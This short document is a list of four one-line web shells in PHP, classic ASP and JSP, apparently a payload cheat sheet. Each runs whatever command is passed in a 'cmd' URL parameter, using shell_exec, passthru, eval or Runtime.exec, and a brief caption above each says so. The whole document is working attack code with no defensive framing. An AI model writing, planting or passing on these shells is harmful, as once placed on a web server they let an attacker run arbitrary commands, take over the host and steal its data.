Command inputted via "cmd" URL parameter.
<?php echo shell_exec($_GET['cmd']); ?>
Command inputted via "cmd" URL parameter.
<?php echo passthru($_GET['cmd']); ?>
Command inputted in "cmd" URL parameter.
<% eval request("cmd") %>
Command inputted in "cmd" URL parameter.
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>